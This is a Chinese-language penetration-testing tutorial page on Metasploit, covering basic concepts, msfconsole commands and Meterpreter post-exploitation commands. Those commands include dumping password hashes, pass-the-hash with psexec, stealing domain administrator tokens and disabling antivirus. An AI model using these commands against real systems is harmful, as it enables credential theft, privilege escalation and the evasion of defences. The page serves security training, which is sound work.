渗透测试-37:Metasploit

渗透测试-37:Metasploit

相关概念

  • 渗透攻击(Exploit):指攻击者利用安全漏洞进行攻击的行为
  • 攻击载荷(Payload):指期望目标系统在被渗透攻击之后去执行的代码
  • Shellcode:指渗透攻击时作为攻击载荷运行的一组机器指令,通常以汇编编写,通常目标系统执行了 shellcode 之后,才会提供一个 shell 或者 Meterpreter shell
  • 模块(module): 指 Metasploit 中的一段软件代码组件
  • 监听器(Listener):指 Metasploit 中用来等待连入网络连接的组件

Msfvenom

  • Payload 生成器
  • 显示帮助:msfvenom -h

Metasplioit

# 进入 MSF 命令行msfconsole# 显示 MSF 中所有可用的攻击模块msf> show exploits# 显示 MSF 中所有可用的辅助模块msf> show auxiliary# 显示当前模块正确运行所需要设置的参数msf> show options# 显示所有可用的攻击载荷msf> show payloads# 显示攻击目标的类型msf> show targets# 显示当前模块的使用详情msf> info# set 设置参数,unset 禁用设置或取消设置msf> set/unset# setg/unsetg 命令能够对全局参数进行设置或者清除msf> setg/unsetg# 使用setg命令对全局参数设置后,可以使用save将当前的设置值保存下去,下次启动的时候还可以使用这些值msf> save

Meterpreter

  • Meterpreter 是 MSF 中的一个扩展模块,如果选择了 Meterpreter 作为攻击载荷,就能够取得目标系统上的一个 Meterpreter shell 连接,号称黑客瑞士军刀
  • 功能包括:纯内存工作模式、获取密码哈希、提权、跳板攻击等

常用命令

# 获得一个 meterpreter shell,查看当前用户getuid# 截屏screenshot# 获取系统运行平台的信息sysinfo# 查看进程ps# 进程迁移,将当前 shell 的进程迁移到指定 PID 的进程migrate 1712# 查看当前的进程 idgetpid# 获取特权use priv# 提取 hashrun post/windows/gather/hashdump# 哈希传递use exploit/windows/smb/psexec# 假冒令牌# 进入一个高权限的 shell,然后靶机上登录过多个账号,包括域管理员,窃取 PID 对应账户的令牌steal_token <域管理员的PID># 或加载:use incognito 来模拟令牌list_tokens -uimpersonte_token ROOT\\administratorgetuid# 关闭杀软run killav# 或run post/windows/manage/killav# 获取目标系统任何信息:用户名、密码、注册表、密码哈希等run scraper

推荐阅读